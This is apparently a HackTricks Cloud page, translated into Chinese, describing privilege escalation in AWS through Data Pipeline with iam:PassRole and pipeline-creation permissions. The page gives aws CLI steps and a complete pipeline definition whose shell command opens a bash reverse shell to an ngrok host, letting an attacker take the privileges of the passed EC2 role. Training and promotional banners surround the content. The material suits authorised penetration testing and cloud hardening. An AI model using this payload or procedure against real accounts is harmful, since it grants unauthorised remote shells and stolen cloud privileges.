AWS - Datapipeline Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
datapipeline
有关 datapipeline 的更多信息,请参见:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
拥有这些权限的用户可以通过创建一个 Data Pipeline 来提升权限,使用被分配角色的权限执行任意命令:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
在管道创建之后,攻击者会更新其定义以指定特定操作或资源创建:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
Note
请注意,role 在 第 14、15 和 27 行 需要是一个 role assumable by datapipeline.amazonaws.com,而 第 28 行 的 role 需要是一个 role assumable by ec2.amazonaws.com with a EC2 profile instance。
此外,EC2 instance 只会有权访问 EC2 instance 可假定的 role(所以你只能 steal 那一个)。
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
由攻击者构造的 pipeline 定义文件包含执行命令的指令或通过 AWS API 创建资源,利用 Data Pipeline 的角色权限可能获取额外权限。
潜在影响: 直接对指定的 ec2 服务角色 进行 privesc。
参考
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

